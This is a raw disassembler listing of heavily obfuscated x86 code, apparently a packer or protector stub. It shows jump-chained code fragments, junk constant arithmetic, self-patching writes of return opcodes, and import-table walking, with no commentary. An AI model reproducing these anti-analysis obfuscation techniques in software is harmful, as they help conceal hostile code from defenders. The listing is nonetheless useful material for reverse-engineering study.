sub_749B76 ; --------------------------------------------------------------------------- loc_745435: ; CODE XREF: _0z4jwtox:0074B7D5j jl loc_753DB7 ; START OF FUNCTION CHUNK FOR sub_756AA2 loc_74543B: ; CODE XREF: sub_756AA2+Dj rol ebx, 8 add ebx, 0A3045EB2h xchg ebx, [esp+4+var_4] jmp loc_74DFEE ; END OF FUNCTION CHUNK FOR sub_756AA2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_155. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A250 loc_74544D: ; CODE XREF: sub_74A250+8702j jmp loc_754895 ; END OF FUNCTION CHUNK FOR sub_74A250 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748D38 loc_745452: ; CODE XREF: sub_748D38-37C5j jmp loc_754E7F ; END OF FUNCTION CHUNK FOR sub_748D38 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_212. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752DF2 loc_745458: ; CODE XREF: sub_752DF2+2EABj jmp loc_74D0CE ; END OF FUNCTION CHUNK FOR sub_752DF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746640 loc_74545D: ; CODE XREF: sub_746640+8687j jmp loc_746D1C ; END OF FUNCTION CHUNK FOR sub_746640 ; =============== S U B R O U T I N E ======================================= sub_745462 proc near ; DATA XREF: _0z4jwtox:00749775o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00749C23 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0074E3B1 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0074FBB1 SIZE 00000005 BYTES push edx push 0A524962h pop edx or edx, 0C27ED84Fh jmp loc_74FBB1 sub_745462 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C39 loc_745474: ; CODE XREF: sub_747C39:loc_74863Cj add edx, ebp call sub_7457DD loc_74547B: ; CODE XREF: _0z4jwtox:00747151j jmp nullsub_131 ; END OF FUNCTION CHUNK FOR sub_747C39 ; =============== S U B R O U T I N E ======================================= sub_745480 proc near ; CODE XREF: sub_746389:loc_748AB2p ; _0z4jwtox:0074AB59j ... arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0074E0E7 SIZE 00000004 BYTES xchg ecx, [esp+0] pop ecx xchg ebx, [esp-4+arg_0] mov ebp, ebx xchg ecx, [esp-4+arg_0] jmp loc_74E0E7 sub_745480 endp ; sp-analysis failed ; --------------------------------------------------------------------------- xor ecx, 0C90AD0D4h jmp sub_745978 ; =============== S U B R O U T I N E ======================================= sub_74549C proc near ; CODE XREF: sub_74A99B-3945p ; sub_74A7D8+7814j arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0074A5E3 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx popf xchg esi, [esp-8+arg_4] jmp loc_74A5E3 sub_74549C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748A22 loc_7454A9: ; CODE XREF: sub_748A22:loc_7533C1j jz loc_74D586 mov eax, [ebp-4] add eax, 3Ch mov eax, [eax] add eax, [ebp-4] add eax, 18h mov [ebp-10h], eax jmp loc_74D933 ; END OF FUNCTION CHUNK FOR sub_748A22 ; --------------------------------------------------------------------------- loc_7454C5: ; CODE XREF: _0z4jwtox:0074F0D7j sub al, 99h call sub_74E685 ; START OF FUNCTION CHUNK FOR sub_74946E loc_7454CC: ; CODE XREF: sub_74946E+D42Dj jmp nullsub_206 ; END OF FUNCTION CHUNK FOR sub_74946E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7499A5 loc_7454D1: ; CODE XREF: sub_7499A5+CA53j jmp loc_7461A7 ; END OF FUNCTION CHUNK FOR sub_7499A5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7578F4 loc_7454D6: ; CODE XREF: sub_7578F4-F4A4j jmp nullsub_298 ; END OF FUNCTION CHUNK FOR sub_7578F4 ; --------------------------------------------------------------------------- loc_7454DB: ; CODE XREF: _0z4jwtox:0074649Cj add ecx, 7ABBE0Eh jmp loc_7569D5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7504F1 loc_7454E6: ; CODE XREF: sub_7504F1+6j xchg ecx, [esp+8+var_8] mov edx, ecx pop ecx and edx, 2DB577Bh add edx, 0FD997F06h jmp loc_751176 ; END OF FUNCTION CHUNK FOR sub_7504F1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F1FE loc_7454FD: ; CODE XREF: _0z4jwtox:0074A996j ; sub_74F1FE-308Dj call sub_756B35 ; END OF FUNCTION CHUNK FOR sub_74F1FE ; START OF FUNCTION CHUNK FOR sub_74B525 loc_745502: ; CODE XREF: sub_74B525+3637j jmp loc_74F0AB ; END OF FUNCTION CHUNK FOR sub_74B525 ; --------------------------------------------------------------------------- loc_745507: ; CODE XREF: _0z4jwtox:007497F4j push 0C8313916h pop ebx and ebx, 0EBCA50BAh or ebx, 81868DD4h jmp loc_74988C ; --------------------------------------------------------------------------- loc_74551E: ; CODE XREF: _0z4jwtox:0074DED2j ; _0z4jwtox:loc_7558E1j or ebx, 0A076852Eh add ebx, 4EC322E1h mov [ebx], eax pop ebx jmp loc_745636 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C3EB loc_745532: ; CODE XREF: sub_74C3EB-22EFj test esi, 278198BAh jmp loc_750BBB ; END OF FUNCTION CHUNK FOR sub_74C3EB ; =============== S U B R O U T I N E ======================================= sub_74553D proc near ; DATA XREF: sub_752BD1+Ao mov byte ptr [eax], 0C3h jmp sub_74C527 sub_74553D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C527 loc_745545: ; CODE XREF: sub_74C527+1j mov eax, [esp+0] push edx push offset loc_7566A0 jmp nullsub_54 ; END OF FUNCTION CHUNK FOR sub_74C527 ; --------------------------------------------------------------------------- rol eax, 13h add eax, 7407BC01h rol eax, 1Dh xor eax, 0AEB5E723h rol eax, 1 sub eax, 0CF48F716h ; START OF FUNCTION CHUNK FOR sub_748D38 loc_74556D: ; CODE XREF: sub_748D38:loc_7523B3j mov ds:dword_748C94, eax jmp loc_745452 ; END OF FUNCTION CHUNK FOR sub_748D38 ; --------------------------------------------------------------------------- jo loc_752792 cmp ebp, 5EE4453Dh jmp loc_746ECC ; --------------------------------------------------------------------------- ror ebp, 0Fh jmp sub_74D1F3 ; --------------------------------------------------------------------------- jge loc_74C699 jmp sub_74A8E3 ; --------------------------------------------------------------------------- loc_74559C: ; CODE XREF: _0z4jwtox:loc_751375j ; DATA XREF: _0z4jwtox:loc_74AE31o add eax, 1C2B2A85h popf mov [ebp-28h], eax ; START OF FUNCTION CHUNK FOR sub_7561AB loc_7455A6: ; CODE XREF: sub_7561AB:loc_752FF9j mov eax, [ebp-24h] cmp byte ptr [eax], 0 jnz loc_74A512 jmp loc_74D269 ; END OF FUNCTION CHUNK FOR sub_7561AB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D4D3 loc_7455B7: ; CODE XREF: sub_74D4D3:loc_748D7Aj add eax, 2718AD7Fh push ebx push 3C4FA8FFh call sub_75609F loc_7455C8: ; CODE XREF: sub_7508F9-8205j jmp loc_75638D ; END OF FUNCTION CHUNK FOR sub_74D4D3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752D11 loc_7455CD: ; CODE XREF: sub_752D11-2047j ; sub_757799:loc_75449Dj mov eax, [ebp-18h] add eax, 0E9BD7BF0h add eax, 16428434h mov eax, [eax] add eax, [ebp-4] jmp loc_74CE96 ; END OF FUNCTION CHUNK FOR sub_752D11 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E693 loc_7455E6: ; CODE XREF: _0z4jwtox:loc_74DAC0j ; sub_74E693+15FDj sub edi, 7951A12Eh cmp edi, 10F05D9Fh jmp loc_750BD5 ; END OF FUNCTION CHUNK FOR sub_74E693 ; --------------------------------------------------------------------------- loc_7455F7: ; CODE XREF: _0z4jwtox:0074BC05j jb loc_7521CF adc ebx, 0C1C973C8h jmp sub_74BA42 ; --------------------------------------------------------------------------- locret_745608: ; CODE XREF: _0z4jwtox:loc_755557j retn ; --------------------------------------------------------------------------- loc_745609: ; CODE XREF: _0z4jwtox:0074C026j jge loc_756510 ; START OF FUNCTION CHUNK FOR sub_7571A1 loc_74560F: ; CODE XREF: sub_7571A1:loc_74FC6Ej add ebx, 0D9DCC091h test ebx, 800000h jmp loc_7451C1 ; END OF FUNCTION CHUNK FOR sub_7571A1 ; =============== S U B R O U T I N E ======================================= sub_745620 proc near ; CODE XREF: _0z4jwtox:0074CCD8j ; sub_748723+6EB4p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00752AF8 SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx call sub_74A96E mov eax, [esp-4+arg_0] call sub_746CF0 jmp loc_752AF8 sub_745620 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_745636: ; CODE XREF: _0z4jwtox:0074552Dj lea eax, loc_753727 mov byte ptr [eax], 0C3h jmp loc_7574B3 ; =============== S U B R O U T I N E ======================================= sub_745644 proc near ; CODE XREF: sub_41C6BF+2Cp ; _0z4jwtox:00748EA3j ; DATA XREF: ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 007474A4 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00754264 SIZE 00000005 BYTES push edi push 0C9286DFDh jmp loc_7474A4 sub_745644 endp ; =============== S U B R O U T I N E ======================================= sub_74564F proc near ; CODE XREF: sub_74CBCF-6E93j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 007468C9 SIZE 00000001 BYTES push ebp push edx pop ebp xchg ebp, [esp+4+var_4] jmp loc_7468C9 sub_74564F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752DF2 loc_74565A: ; CODE XREF: sub_752DF2+12j cmp al, 0A4h jz loc_745F4F jmp loc_746EF0 ; END OF FUNCTION CHUNK FOR sub_752DF2 ; --------------------------------------------------------------------------- loc_745667: ; CODE XREF: _0z4jwtox:007473BCj xchg ebx, [edx] loc_745669: ; CODE XREF: _0z4jwtox:loc_7465B7j mov eax, [esp] push ebx mov ebx, edi xchg ebx, [esp] push 3CD66A19h xchg ecx, [esp] jmp loc_748F21 ; --------------------------------------------------------------------------- loc_74567F: ; CODE XREF: _0z4jwtox:00753014j and esi, 0D29D1F44h ; =============== S U B R O U T I N E ======================================= sub_745685 proc near ; CODE XREF: _0z4jwtox:0074B6C8p arg_4 = dword ptr 8 xchg eax, [esp+0] pop eax call sub_752E0F pop edx xchg ebx, [esp-8+arg_4] jmp sub_74BC73 sub_745685 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_745697 proc near ; CODE XREF: _0z4jwtox:007549C9j ; sub_74F69D:loc_756C26p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0074E4D6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00755E95 SIZE 0000000E BYTES xchg esi, [esp+0] pop esi push 26936AEDh xchg ebx, [esp+0] mov eax, ebx pop ebx or eax, 2FDF8808h jmp loc_74E4D6 sub_745697 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D782 loc_7456B1: ; CODE XREF: sub_74D782-39ECj jz loc_74AF23 ; END OF FUNCTION CHUNK FOR sub_74D782 ; START OF FUNCTION CHUNK FOR sub_745C55 loc_7456B7: ; CODE XREF: sub_74D782-4103j ; sub_745C55:loc_755731j rol eax, 6 add eax, 358A703Ch add eax, ebp add eax, 0E088B145h mov eax, [eax] cmp byte ptr [eax], 0F1h jnz loc_7539C5 jmp loc_745D7C ; END OF FUNCTION CHUNK FOR sub_745C55 ; --------------------------------------------------------------------------- test ecx, 0CA46283Eh jmp loc_746550 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746556 loc_7456E3: ; CODE XREF: sub_746556+BE8j push offset loc_74B457 jmp nullsub_93 ; END OF FUNCTION CHUNK FOR sub_746556 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_82. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_7456EE: ; CODE XREF: _0z4jwtox:loc_75034Dj jnz loc_747535 jmp loc_750A8C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_754DFF loc_7456F9: ; CODE XREF: sub_754DFF+6j call sub_74FACE push 349A6C96h pop eax xor eax, 0C71635D4h jmp loc_746929 ; END OF FUNCTION CHUNK FOR sub_754DFF ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_102. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7501AF loc_745710: ; CODE XREF: sub_7501AF-9463j jmp loc_7486F9 ; END OF FUNCTION CHUNK FOR sub_7501AF ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_745715 proc near ; CODE XREF: sub_74C874-63AEp ; _0z4jwtox:007480D9p ... ; FUNCTION CHUNK AT 0074BE0E SIZE 00000005 BYTES push ebp mov ebp, esp push ecx push ecx push offset loc_7557BE jmp loc_74BE0E sub_745715 endp ; --------------------------------------------------------------------------- loc_745724: ; CODE XREF: _0z4jwtox:0074B7B6j sub edx, 1DD2B4A8h and edx, 9AFDC642h add edx, 3DD71132h add edx, ebp jmp loc_746472 ; --------------------------------------------------------------------------- sbb edx, 0B065FB50h not edx jmp sub_75644F ; --------------------------------------------------------------------------- cmp edi, 6EBDC65Fh jmp loc_74E9A7 ; --------------------------------------------------------------------------- loc_745755: ; DATA XREF: sub_747C22+7B36o rol eax, 15h sub eax, 71513C30h rol eax, 1Fh ; START OF FUNCTION CHUNK FOR sub_74946E loc_745761: ; CODE XREF: sub_74946E+9CFj mov ds:dword_752DAC, eax loc_745767: ; CODE XREF: sub_74946E+Ej ; sub_74946E+9DCj ror eax, 1Fh sub eax, 8EAEC3D0h jb loc_7458CE push offset sub_74E40A jmp sub_757269 ; END OF FUNCTION CHUNK FOR sub_74946E ; --------------------------------------------------------------------------- loc_745780: ; CODE XREF: _0z4jwtox:0074CEEAj and edi, 3F95A131h add edi, 0C874A925h xchg edi, [esp] jmp loc_749D5C ; --------------------------------------------------------------------------- loc_745794: ; CODE XREF: _0z4jwtox:loc_74BAFAj sub eax, 91FDB437h xor eax, 0A69489E1h push edi pushf push 0EA8DA9B4h pop edi add edi, 0C46EFB14h jmp loc_75281F ; =============== S U B R O U T I N E ======================================= sub_7457B3 proc near ; CODE XREF: _0z4jwtox:00745942j ; _0z4jwtox:00749CB7p ; FUNCTION CHUNK AT 00748FBC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00749F02 SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx push 0E7D0E25h pop eax rol eax, 7 jmp loc_749F02 sub_7457B3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_7457C5: ; CODE XREF: _0z4jwtox:0074F6B5j js sub_74E58E ; =============== S U B R O U T I N E ======================================= sub_7457CB proc near ; CODE XREF: sub_7500C5+10p ; FUNCTION CHUNK AT 0074E5A4 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0074FD2A SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx mov eax, [eax-10h] jmp loc_74FD2A sub_7457CB endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_7457D7: ; CODE XREF: _0z4jwtox:00750DE5j jle loc_747E8E ; =============== S U B R O U T I N E ======================================= sub_7457DD proc near ; CODE XREF: sub_747C39-27C3p ; FUNCTION CHUNK AT 00748221 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0074A231 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0074BA24 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00750040 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00750C69 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007515CD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00752074 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00755704 SIZE 00000012 BYTES xchg edi, [esp+0] pop edi add edx, 78883B31h jmp loc_74A231 sub_7457DD endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746640 loc_7457EC: ; CODE XREF: sub_746640+BCB2j pop ecx push offset sub_74DA3D jmp loc_750BDB ; END OF FUNCTION CHUNK FOR sub_746640 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_214. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74ED5F loc_7457F8: ; CODE XREF: sub_74ED5F+Ej jmp loc_7532F9 ; END OF FUNCTION CHUNK FOR sub_74ED5F ; --------------------------------------------------------------------------- loc_7457FD: ; CODE XREF: _0z4jwtox:0074B505j jmp loc_746E60 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AF9C loc_745802: ; CODE XREF: sub_74AF9C+15j jmp loc_74866C ; END OF FUNCTION CHUNK FOR sub_74AF9C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748773 loc_745807: ; CODE XREF: sub_748773+8j jmp loc_74CDA6 ; END OF FUNCTION CHUNK FOR sub_748773 ; --------------------------------------------------------------------------- push ebp sub ebx, edi jmp sub_74B3EB ; --------------------------------------------------------------------------- mov ds:off_41F084, eax lea eax, loc_7500EF mov byte ptr [eax], 0C3h jmp loc_7500EF ; =============== S U B R O U T I N E ======================================= sub_745828 proc near ; CODE XREF: sub_40517E+20Dp ; sub_40517E+5ECp ... call sub_74C874 jmp ds:off_41F088 sub_745828 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752E0F loc_745833: ; CODE XREF: sub_752E0F+3j jmp loc_74C119 ; END OF FUNCTION CHUNK FOR sub_752E0F ; --------------------------------------------------------------------------- locret_745838: ; CODE XREF: _0z4jwtox:0074CDD7j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D21E loc_745839: ; CODE XREF: sub_74D21E+96B5j jmp loc_74A78D ; END OF FUNCTION CHUNK FOR sub_74D21E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748B52 loc_74583E: ; CODE XREF: sub_748B52+1768j jmp loc_748F3E ; END OF FUNCTION CHUNK FOR sub_748B52 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_745911 loc_745843: ; CODE XREF: sub_745911:loc_750968j jz loc_747CF4 jmp loc_748973 ; END OF FUNCTION CHUNK FOR sub_745911 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7501AF loc_74584E: ; CODE XREF: sub_7501AF+1E07j mov byte ptr [eax], 6Ch inc dword ptr [ebp-20h] mov eax, [ebp-20h] call sub_74A094 loc_74585C: ; CODE XREF: sub_755148-4E51j jmp loc_745CDB ; END OF FUNCTION CHUNK FOR sub_7501AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74946E loc_745861: ; CODE XREF: sub_74946E-266Fj jmp loc_74D52B ; END OF FUNCTION CHUNK FOR sub_74946E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_755C38 loc_745866: ; CODE XREF: sub_755C38:loc_7502A6j jnz loc_746524 ; END OF FUNCTION CHUNK FOR sub_755C38 ; START OF FUNCTION CHUNK FOR sub_746E37 loc_74586C: ; CODE XREF: sub_746E37+F8DDj jmp loc_74515D ; END OF FUNCTION CHUNK FOR sub_746E37 ; --------------------------------------------------------------------------- push 23B28D69h jmp loc_74651E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_185. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7501AF loc_74587C: ; CODE XREF: sub_7501AF+5D45j jmp loc_74FAC5 ; END OF FUNCTION CHUNK FOR sub_7501AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7500AE loc_745881: ; CODE XREF: sub_7500AE+6j jmp loc_748E34 ; END OF FUNCTION CHUNK FOR sub_7500AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747A94 loc_745886: ; CODE XREF: sub_747A94:loc_74697Aj xor edi, 3E347A02h add edx, edi pop edi mov edx, [edx] jmp loc_7500A4 ; END OF FUNCTION CHUNK FOR sub_747A94 ; --------------------------------------------------------------------------- xchg esi, [ebx] jmp sub_756639 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_750A01 loc_74589D: ; CODE XREF: sub_750A01-3562j shl eax, 3 mov edx, [ebp+8] or [edx-8], eax ; END OF FUNCTION CHUNK FOR sub_750A01 ; START OF FUNCTION CHUNK FOR sub_747820 loc_7458A6: ; CODE XREF: sub_7570CA:loc_74A4D8j ; sub_749608:loc_74C5D2j ... call sub_74E451 ; END OF FUNCTION CHUNK FOR sub_747820 ; START OF FUNCTION CHUNK FOR sub_749306 loc_7458AB: ; CODE XREF: sub_749306+Dj jmp loc_74D0FE ; END OF FUNCTION CHUNK FOR sub_749306 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_755F42 loc_7458B0: ; CODE XREF: sub_755F42-3A2Fj lea eax, sub_755F42 mov byte ptr [eax], 0C3h jmp sub_755F42 ; END OF FUNCTION CHUNK FOR sub_755F42 ; =============== S U B R O U T I N E ======================================= sub_7458BE proc near ; CODE XREF: sub_414D55+6Cp ; sub_41BFB2+38p ... push edx call sub_757151 loc_7458C4: ; CODE XREF: sub_74AF9C:loc_752D24j nop mov eax, [esp+0] call sub_746CF0 retn sub_7458BE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74946E loc_7458CE: ; CODE XREF: sub_74946E-3CFEj ror eax, 15h xor eax, 8A633C61h ror eax, 2 jmp loc_7490B9 ; END OF FUNCTION CHUNK FOR sub_74946E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7452F3 loc_7458DF: ; CODE XREF: sub_7452F3+1293j sub ebp, edi sub esi, eax xor eax, 59206329h sub ebp, ebx jmp loc_74A39E ; END OF FUNCTION CHUNK FOR sub_7452F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747AEC loc_7458F0: ; CODE XREF: sub_747AEC+A392j sub esi, 108BBE1Bh jmp loc_74F821 ; END OF FUNCTION CHUNK FOR sub_747AEC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A71A loc_7458FB: ; CODE XREF: sub_74A71A:loc_74DEF9j jnz loc_746AF3 mov eax, 6 sub eax, [ebp-4] mov [ebp-4], eax jmp loc_752404 ; END OF FUNCTION CHUNK FOR sub_74A71A ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_745911 proc near ; CODE XREF: sub_749B76-24F1p ; sub_749B76-36Bp var_5 = byte ptr -5 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00745843 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 007460AB SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00747CE0 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00748154 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 007487FD SIZE 00000025 BYTES ; FUNCTION CHUNK AT 00748973 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 007489AA SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0074B51B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074BB71 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074DB83 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074EC2E SIZE 00000012 BYTES ; FUNCTION CHUNK AT 007500E4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00750183 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00750960 SIZE 0000000D BYTES push ebp mov ebp, esp add esp, 0FFFFFFF8h mov [ebp+var_4], eax jmp loc_7460AB sub_745911 endp ; --------------------------------------------------------------------------- loc_74591F: ; CODE XREF: _0z4jwtox:00754096j sub ecx, 0E3F662BBh jz loc_749210 ; START OF FUNCTION CHUNK FOR sub_749980 loc_74592B: ; CODE XREF: sub_752D11:loc_74BEFEj ; sub_749980+A705j rol esi, 9 xor esi, 3A790355h add esi, 0AE62B31Ch jmp loc_756B98 ; END OF FUNCTION CHUNK FOR sub_749980 ; --------------------------------------------------------------------------- shl ebx, 1Ah jmp sub_7457B3 ; --------------------------------------------------------------------------- loc_745947: ; CODE XREF: _0z4jwtox:0075376Aj jnp loc_752488 ; =============== S U B R O U T I N E ======================================= sub_74594D proc near ; CODE XREF: sub_74DA9D+6p arg_0 = dword ptr 4 xchg eax, [esp+0] pop eax xchg edx, [esp-4+arg_0] jmp sub_752E0F sub_74594D endp ; sp-analysis failed ; --------------------------------------------------------------------------- jmp ds:off_41F070 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_754779 loc_74595F: ; CODE XREF: sub_754779+7j jmp loc_7500EF ; END OF FUNCTION CHUNK FOR sub_754779 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7514BF loc_745964: ; CODE XREF: sub_7514BF-67F8j jmp loc_752E8B ; END OF FUNCTION CHUNK FOR sub_7514BF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_755E78 loc_745969: ; CODE XREF: sub_748D84:loc_74FBACj ; sub_752FAC+9j ... call sub_7502BA loc_74596E: ; CODE XREF: _0z4jwtox:0074BABAj jmp nullsub_167 ; END OF FUNCTION CHUNK FOR sub_755E78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C874 loc_745973: ; CODE XREF: sub_74C874-63A4j jmp loc_74C792 ; END OF FUNCTION CHUNK FOR sub_74C874 ; =============== S U B R O U T I N E ======================================= sub_745978 proc near ; CODE XREF: _0z4jwtox:00745497j ; _0z4jwtox:00755027p xchg ebx, [esp+0] pop ebx call nullsub_1 jmp ds:dword_41F120 sub_745978 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] dd 0B65585h, 0E4DE900h, 0E9C30001h, 56Ch ; CODE XREF: _0z4jwtox:loc_74A788j ; _0z4jwtox:0074BDD3j ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_745998: ; CODE XREF: sub_747C22+194Fj xchg edi, ecx sub ebx, ebp jmp loc_745292 ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- adc eax, edx loc_7459A3: ; CODE XREF: _0z4jwtox:loc_74CDB7j xchg edx, ebp jmp sub_74A372 ; --------------------------------------------------------------------------- loc_7459AA: ; CODE XREF: _0z4jwtox:loc_752724j mov byte ptr [eax], 0C3h jmp loc_75748D ; =============== S U B R O U T I N E ======================================= sub_7459B2 proc near ; CODE XREF: sub_404D4C+8Bp ; sub_4093C1+19Fp ... var_4 = dword ptr -4 call sub_755139 loc_7459B7: ; CODE XREF: sub_74A250+A648j jmp sub_74E0EB sub_7459B2 endp ; =============== S U B R O U T I N E ======================================= sub_7459BC proc near ; DATA XREF: _0z4jwtox:loc_752271o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00747656 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0074DB88 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074F4AE SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0074FA6A SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00753EF5 SIZE 00000006 BYTES xchg edi, [esp+0] push 89A74FD9h xchg eax, [esp+4+var_4] mov ebx, eax pop eax and ebx, 0C79AF7DDh sub ebx, 3670A362h xor ebx, 36220531h jmp loc_74DB88 sub_7459BC endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_7459E1: ; DATA XREF: sub_745911:loc_747CE7o inc dword ptr [ebp-4] jmp loc_7460AB ; =============== S U B R O U T I N E ======================================= sub_7459E9 proc near ; CODE XREF: sub_747C22+7p ; FUNCTION CHUNK AT 00755753 SIZE 00000005 BYTES call sub_746640 push offset sub_74953D jmp loc_755753 sub_7459E9 endp ; --------------------------------------------------------------------------- locret_7459F8: ; CODE XREF: _0z4jwtox:0074CA5Fj retn ; --------------------------------------------------------------------------- cmp ds:dword_74B938, 0 jnz loc_746EE0 jmp loc_74FFE8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74BA42 loc_745A0B: ; CODE XREF: sub_74BA42+Dj call sub_756691 mov eax, 2D912001h push offset sub_746D27 jmp nullsub_274 ; END OF FUNCTION CHUNK FOR sub_74BA42 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747736 loc_745A1F: ; CODE XREF: sub_747736+E9DDj sub edx, 5EC7B93Ch xor edx, 1E85C9B2h add edx, 18520DDFh mov [edx], eax pop edx lea eax, nullsub_19 mov byte ptr [eax], 0C3h jmp loc_748320 ; END OF FUNCTION CHUNK FOR sub_747736 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_754729 loc_745A42: ; CODE XREF: sub_754729:loc_74803Fj call sub_75422B mov edx, [ebx+3Ch] mov edx, [ebx+edx+80h] or edx, edx jz loc_754B5C loc_745A59: ; CODE XREF: sub_74CF35-5C0Fj ; _0z4jwtox:0074BEEDj push offset loc_750811 jmp nullsub_133 ; 